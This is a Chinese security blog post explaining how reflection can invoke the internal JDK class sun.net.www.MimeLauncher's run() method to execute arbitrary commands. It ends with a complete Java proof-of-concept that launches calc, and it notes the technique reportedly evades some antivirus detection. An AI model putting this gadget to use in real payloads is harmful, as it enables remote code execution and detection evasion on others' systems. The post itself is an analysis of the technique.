• 『Java安全』利用反射调用MimeLauncher.run()触发RCE


    前言

    rt.jar内的sun.net.www.MimeLauncher类的run方法调用了exec

    在这里插入图片描述
    据说可以有效绕过某些免杀,下面分析一下调用过程

    MimeLauncher

    run()

    在这里插入图片描述
    首先:调用了this.m.getTempFileTemplate()方法,this.m是构造器传入的·MimeEntry类,getTempFileTemplate()方法返回了StringMimeEntry.tempFileNameTemplate
    在这里插入图片描述
    然后run()接着调用了this.getTempFileName(),入参是this.uc.getURL()和上面拿到的String,this.uc是构造器传入的URLConnection,所以这里是获取了连接的URL
    在这里插入图片描述
    this.getTempFileName()没什么限制,只有第二行这里要保证传入字符串必须存在%s否则substring方法是会报错的
    在这里插入图片描述
    接着run()下面调用了this.is.read(),this.is是传入的InputStream,要出这个while也很简单,只要保证read返回值<0即可,因此要重写一个read方法恒返回<0就行

    在这里插入图片描述
    后面就是一些字符串替换什么的了,然后直接执行this.execPath的命令
    在这里插入图片描述

    因此这个方法只涉及四个重要变量:

    1. 构造器传入MimeEntry:要求TempFileTemplate有一个%s
    2. 构造器传入URLConnection
    3. 构造器传入InputStream:要求重写read方法返回值 < 0
    4. this.execPath是待执行的命令

    MimeLauncher()

    类属性

    在这里插入图片描述
    看一下构造器,前三个是调用run必须的变量,后面两个没用到
    在这里插入图片描述
    这里对this.m.getLaunchString()进行了if判断,首先它获取了MimeEntry的command属性
    在这里插入图片描述
    然后这个MimeEntry的command属性必须是一个存在的文件才能返回true,而且此时this.execPath也就是待执行的命令会被MimeEntry.command所覆盖
    在这里插入图片描述
    这个方法涉及两个重要变量:

    1. 构造器传入MimeEntry:command属性必须是一个存在的文件
    2. this.execPath必须在构造器调用之后才能覆盖成待执行的命令

    反射调用MimeLauncher.run()触发RCE

    条件

    总结一下:

    • MimeEntry:TempFileTemplate为%s、command为一个存在的文件路径
    • URLConnection:任意URL,即使只有协议头http://都可以
    • InputStream:重写read()方法返回 < 0
    • MimeLauncher:this.execPath是待执行命令

    PoC

    package MimeLauncherTest;
    
    import sun.net.www.MimeEntry;
    import java.net.URL;
    import java.net.URLConnection;
    import java.io.IOException;
    import java.io.InputStream;
    import java.lang.reflect.Field;
    import java.lang.reflect.Method;
    import java.lang.reflect.Constructor;
    
    public class ExecTest {
        public static void main(String[] args) throws Exception{
    
            String cmd = "cmd /c calc";
    
            MimeEntry mimeEntry = new MimeEntry("test");
    
            Class entryClass = Class.forName("sun.net.www.MimeEntry");
    
            Field tempFileTemplateField = entryClass.getDeclaredField("tempFileNameTemplate");
            tempFileTemplateField.setAccessible(true);
            tempFileTemplateField.set(mimeEntry, "%s");
    
            Field commandField = entryClass.getDeclaredField("command");
            commandField.setAccessible(true);
            commandField.set(mimeEntry, "C:\\Windows\\System32\\drivers\\etc\\hosts");
    
            URLConnection urlConnection = new URL("http://").openConnection();
    
            InputStream is = new InputStream() {
                @Override
                public int read() throws IOException {
                    return -1;
                }
            };
    
            Class launcherClass = Class.forName("sun.net.www.MimeLauncher");
    
            Constructor mineLauncherConstructor = launcherClass.getDeclaredConstructor(MimeEntry.class, URLConnection.class, InputStream.class, String.class, String.class);
            mineLauncherConstructor.setAccessible(true);
            Thread mimeLauncher = (Thread) mineLauncherConstructor.newInstance(mimeEntry, urlConnection, is, "", "");
    
            Field execPathField = launcherClass.getDeclaredField("execPath");
            execPathField.setAccessible(true);
            execPathField.set(mimeLauncher, cmd);
    
            Method runMethod = launcherClass.getDeclaredMethod("run");
            runMethod.setAccessible(true);
            runMethod.invoke(mimeLauncher);
    
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53

    在这里插入图片描述
    因为创建了FileOutputStream,rce的同时会生成名称包含HJ的文件,详细逻辑可以在getTempFileName()查看(无伤大雅的小细节)

    在这里插入图片描述

    欢迎关注我的CSDN博客 :@Ho1aAs
    版权属于:Ho1aAs
    本文链接:https://ho1aas.blog.csdn.net/article/details/127555739
    版权声明:本文为原创,转载时须注明出处及本声明

  • 相关阅读:
    TiDB 工具适用场景
    【基于Arduino的垃圾分类装置开发教程五整体调试】
    Spring Security根据角色在登录后重定向用户
    男孩姓舒取什么名字好听
    vue3将页面导出成PDF文件(完美解决图片、表格内容分割问题)
    1069 The Black Hole of Numbers
    2014
    异或运算和相关例子
    Java关键字,字面量,变量
    老司机带带你,教你学会Java中又骚又暴力的“反射”技术
  • 原文地址:https://blog.csdn.net/Xxy605/article/details/127555739